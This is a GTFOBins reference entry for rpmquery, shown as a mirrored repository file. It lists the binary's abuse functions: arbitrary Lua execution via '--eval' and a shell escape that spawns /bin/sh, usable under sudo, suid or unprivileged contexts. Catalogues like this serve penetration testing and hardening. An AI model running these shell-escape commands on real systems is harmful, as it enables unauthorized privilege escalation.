mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
Rationale being that: - it's easy to just forget it; - entries that only have the unprivileged context are quite rare.
24 lines
403 B
Plaintext
24 lines
403 B
Plaintext
---
|
|
functions:
|
|
inherit:
|
|
- code: |-
|
|
rpmquery --eval '%{lua:...}'
|
|
comment: |-
|
|
This allows to run Lua code (`...`).
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
from: lua
|
|
version: |-
|
|
Some older version is required.
|
|
shell:
|
|
- code: |-
|
|
rpmquery --eval '%(/bin/sh 1>&2)'
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
...
|